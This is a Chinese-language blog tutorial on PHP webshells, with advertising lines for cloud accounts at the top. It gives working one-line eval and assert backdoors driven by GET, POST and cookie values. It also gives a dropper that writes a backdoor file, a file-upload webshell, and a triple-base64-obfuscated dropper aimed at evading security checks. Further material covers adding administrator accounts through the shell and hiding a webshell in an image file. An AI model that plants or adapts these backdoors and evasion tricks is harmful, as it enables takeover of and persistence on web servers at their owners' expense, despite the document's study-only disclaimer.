Webshell(网页后门)_webshell后门
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
本文仅用于信息安全的学习请遵守相关法律法规严禁用于非法途径。若观众因此作出任何危害网络安全的行为后果自负与本人无关。
一、Webshell简介
01 什么是 Webshell
webshell是以 asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境 · 也可以得其称做为种网页木马后门。
攻击者可通过这种网页后门获得网站服务器作权限 · 控制网站服务器以进行上传下载文件、查看数据库、执行命令等...
02 什么是木马
木马全称“特洛伊木马( Trojan Horse)” · 指寄宿在计算机里的一种非授权的远程控制程序 · 它可以在计算机管理员未发觉的情况下 · 开放系统权限 · 泄露用户信息给攻击者 · 是黑客常用的工具之。
03 什么是后门
后门一台计算机上有65535个端口 · 每个端口是计算机与外界连接所开的“门” · 每个门都有计算机提供的一些服务 · 攻击者利用这些服务·获取服务器的权限 · 给自己进入计算机留下一个后门
04 Webshell的分类
1. 根据文件大小分类
- 一句话木马代码简短 · 通常只有一行代码 · 使用方便
- 小马只包含文件上传功能 · 体积小
- 大马体积大 · 包含很多功能 · 代码通常会进行加密隐藏
2. 根据脚本类型分类
- jsp
- asp
- aspx
- php
05 Webshelt特点
- 1. webshell大多以动态脚本形式出现
- 2. webshel就是一个asp或php木马后门
- 3. webshello可以穿越服务器防火墙 · 攻击者与被控服务器交换数据都是通过80端口传递
- 4. webshe一般不会在系统日志中留下记录 · 只会在web日志中留下数据传递记录
06 webshell攻击流程
- 利用web漏洞获取web权限
- 上传小马
- 上传大马
- 远程调用 webshell 执行命令
07 常见 Webshell
eval函数把字符串当成代码执行
$_POST[ ]以POST的形式传递数据给PHP页面
1. $_GET
用来获取由浏览器通过GET方法提交的数据。
GET方法他是通过把参数数加在提交表单的 action 属性所指的URL中值和表单内每个字一一对应然后在URL中可以看到但是有如下缺点
- 安全性不好在URL中可以看得到
- 传送数量较小不得大于2KB
2. $_POST
用来获取由浏览器通过POST方法提交的数据
POST方法他是通过HTTP POST机制将表单的各个字段放置在HTTP HEADER内一起传到acton属性所指的URL地址中用户看不到这个过程。
他提交的大小一般来说不受限但是具体根据务器的不同还是略有不同相对于_GET方式安全性略高。
二、Webshell基本原理
01 基本原理
1. 可执行脚本
HTTP数据包($_GET、$_POST、$_COOKIES)
2. 数据传递
3. 执行传递的数据
- 直接执行eval、system、passthru)
- 文件包含执行include、require
- 动态函数执行($a= "phpinfo" ;$a(); )
- 回调函数 (array_map等)
- ......
02 常见 php webshell
注意下面介绍的一句话代码很容易被电脑自带的杀毒功能查杀如果要实验可以关闭病毒查杀功能如果要免杀自行百度查看教程。
演示
以GET的方式传递
1下载、安装phpstudy并启动安装过程可以一路下一步也可以改安装路径 http://public.xp.cn/upgrades/PhpStudy2018.zip
2打开安装目录下的WWW文件夹
3在桌面新建一个文本文档把原来的txt的后缀名改为php文件名称随便写并以记事本的方式打开把代码粘贴进去保存然后把文件拉到www文件夹下。
<?php @eval($_GET["pass"]);?>
4在浏览器中输入http://127.0.0.1/get.php 访问 没报错就是成功了
5在网页的lURL路径后面加上?pass=phpinfo(); 就可以打开phpinfo()页面里面包含一些PHP的版本、扩展之类的信息
6如果受害者是windos系统我们可以直接在URL指定win的DOS命令把URL路径的phpinfo()改成system()括号内可以写上DOS命令如ipconfig # 查看ip地址的基本信息、net user 用户名 密码 /add # 新建用户验证 net user 查看用户列表 net localgroup 组名 用户名 /add # 添加用户到组如加入到管理员组就会有管理员权限Administrator
以POST的方式传递
1和上面的步骤一样在桌面创建一个PHP文件把代码粘贴进去然后再拉到www文件夹加在浏览器中访问
<?php @eval($_POST["pass"]);?>
2这里使用Burpsuite软件进行抓包演示
或者 使用windows系统自带的功能进行代理
3开始抓包
4抓到的数据包的请求方法默认是GET我们这里要测试POST请求所以这里要改一下
5通过post的方式进行数据请求
查看phpinfo页面
pass=phpinfo();
不过上面这个回显看起来让人头大我们可以选择“Render”呈现展示那些代码在Web上显示的样子
6在POST请求方法内一样可以跟GET方法一样执行一些系统命令通过system()函数
如ipconfig 查看ip信息
pass=system('ipconfig');
7解决用Burpsuite发包中文乱码的问题参考快速解决BurpSuite中文乱码问题....-百度经验
重新发包
Cookie的方式
assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动
如assertion 是字符串它将会被assert()当做PHP代码来执行
示例
跟上面的步骤一样创建一个PHP文件把代码粘贴进去并访问建议在WWW文件夹加创建一个名为Webshell的文件夹把这些有关于 Webshell的后门文件都放在里面进行分类方便以后寻找。
<?php @$a = $_COOKIE[1];$b ='';$c='';@assert($b.$a);?>
这里使用中国菜刀打开文件这个菜刀软件找了一天下载很多版本都无法正常使用这个版本是包含源码和可运行文件很多人写的文章都是只有使用教程没有软件下载链接你们以后攻击别人电脑被捕了千万不要说是用我的链接下载的攻击工具
Cookie: 1=eval($_POST['cmd'])
03 一句话写马小马
fputs是一个函数具有的功能是向指定的文件写入一个字符串
fopen 其功能是使用给定的模式 mode 打开 filename 所指向的文件。文件顺利打开后指向该流的文件指针就会被返回。如果文件打开失败则返回 NULL并把错误代码存在 error 中
fopen函数的功能是打开一个文件其调用的一般形式为来源
文件指针名=fopen文件名,使用文件方式。
"w" = “wt”新建一个文本文件已存在的文件将内容清空只允许写
下面这句代码的意思是创建一个up.php文件文件的内容是<?php eval($_POST["cmd"])?>
<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>
示例
创建一个php文件我这里的文件名是fputs
在浏览器中访问我们的木马文件
我们真正的目的就是通过一句话木马上传我们的将要生成的up.php文件的内容改成下面的小马代码就好了我这里为了方便直接将up.php文件的内容改成下面的代码来源
<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");
if(isset($_POST['submit']))
{
if(file_exists(UPLOAD_PATH))
{
// 判断 content-type 的类型,如果是image/png则通过
#if($_FILES['upload_file']['type'] == 'image/png/php/txt')
#{
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path))
echo "上传完成.";
else
echo "上传出错.";
#}
}
}
?>
<body>
<form enctype="multipart/form-data" method="post">
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="upload">
</form>
</body>
为了避开一些安全检查我们可以把代码转换成base64字符串我这里是使用小葵进行字符转换也可以在百度搜索在线的字符转换工具。
新建一个把下面代码粘贴进去base64.php
base64_decode( 这函数是PHP解密base64字符串的函数文件内容的加密前两次加密后一直有特殊字符所以这里加密了三次解密使用的base64_decode(也使用了三次
<?php fputs(fopen(base64_decode(cXEucGhw),"w"),base64_decode(base64_decode(base64_decode(VUVRNWQyRklRVTVEWjJ4dldsZEdhMXBZU1c5SmEwNTJZbTVTYkdKdVVYUmtTR3gzV2xSdloyUkhWalJrUXpsdlpFY3hjMDh5VG05WldFcDZXbGhST1dSWVVtMU1WR2RwUzFSelRrTm5iR3RhVjFwd1ltMVZiMGxzVmxGVVJUbENVa1k1VVZGV1VrbEphWGRuU1drMGRrbHBhemRFVVc5T1EyZHNjRnBwYUhCak0wNXNaRU5uYTFneFFsQlZNVkppU2pOT01WbHRNWEJrUTJSa1MxTnJUa05uYkRkRVVXOUtRMWRzYlV0SFduQmlSMVptV2xob2NHTXpVbnBMUmxaUlZFVTVRbEpHT1ZGUlZsSkpTMU5yVGtObmEwcGxkekJMUTFGclNreDVPR2Q0WkVNeWVubENhbUl5TlRCYVZ6VXdURmhTTldOSFZXZDBZMVJCTkU1RVRreE5hbTUxWm5aTGVESnNkRmxYWkd4TU0wSjFXamxVZVhwaGFUVXZVVEJMUTFGclNra3liRzFMUTFKbVVtdHNUVkpXVG1KS00xWjNZa2M1YUZwR09XMWhWM2hzU2pFeFlrb3pValZqUjFWdVdGTkJPVkJUUVc1aFZ6Rm9XakpWZG1OSE5XNU1NMEp2WTBNNU1HVklVVzVMVVRCTFExRnJTa2t6YzA1RFoydEtRMUZyYTJSSFZuUmpSamx0WVZkNGJFbEVNR2RLUmpsSFUxVjRSbFV4YzI1a1dFSnpZakpHYTFneVduQmlSMVZ1V0ZaemJtUkhNWGRZTWpWb1lsZFZibGhVYzA1RFoydEtRMUZyYTJGWE1XNVlNMEpvWkVkbloxQlRRbFpWUlhoUVVWVlNabFZGUmxWVFEwRjFTVU5qZGtwNVFYVkpRMUptVW10c1RWSldUbUpLTTFaM1lrYzVhRnBHT1cxaFYzaHNTakV4WWtveU5XaGlWMVZ1V0ZSelRrTm5hMHBEVVd4d1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVakJhVnpGM1dESmFjR0pIVlhOSlExSndZbGRrWm1OSFJqQmhRMnR3UkZGdlNrTlJhMHBEVjFacVlVYzRaMGx6YmxCMFMzWk9ObkpRU2t4cFNUZEVVVzlLUTFGclNscFhlSHBhVVRCTFExRnJTa05SYkd4Wk1taDJTVU5NU25vM1UzSnpMMkV3TjFNMGFVOTNNRXREVVd0S1NUTXdUa05uYTBwbVVUQkxRMWd3VGtOcU9DdEVVVzlPUTJwNGFXSXlValZRWnpCTFExUjRiV0l6U25SSlIxWjFXVE5TTldOSFZUbEpiVEV4WWtoU2NHTkhSbmxrUXpsdFlqTktkRXhYVW1oa1IwVnBTVWN4YkdSSGFIWmFSREJwWTBjNWVtUkRTU3RFVVc5blNVTkJaMGxEUVdkSlJIaHdZbTVDTVdSRFFtcGlSMFo2WTNvd2FXRlhOWGRrV0ZKbVdtMXNjMXBUU1dka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xrV0VKellqSkdhMWd5V25CaVIxVnBVR2N3UzBsRFFXZEpRMEZuU1VOQk9HRlhOWGRrV0ZGbldUSjRhR016VFRsSmJVb3haRWhTZG1KcFNXZGtTR3gzV2xRd2FXTXpWbWxpVjJ3d1NXbENkVmxYTVd4UVUwcDZaRmRLZEdGWVVXbEpTRnBvWWtoV2JGQlRTakZqUjNoMldWZFJhVkJuTUV0SlEwRm5TVVIzZGxwdE9YbGlWRFJPUTJwM2RsbHRPV3RsVkRST1EyYzlQUT09))));
?>
浏览器访问base64.php之后就会生成一个qq.php文件里面的内容和up.php是一样的
可以在浏览器中访问qq.php
04 小马上传大马请勿用于非法用途后果作者概不负责
Webshell管理工具介绍第三个工具weevely3在kali中是自带的不用安装
最后再加个生成图片马这个我没尝试过如果成功了可以给我留言
1.php的内容可以是我们的一句话马
<?php @eval($_GET["pass"]);?>
命令
copy 1.jpg/b + 1.php/a 2.jpg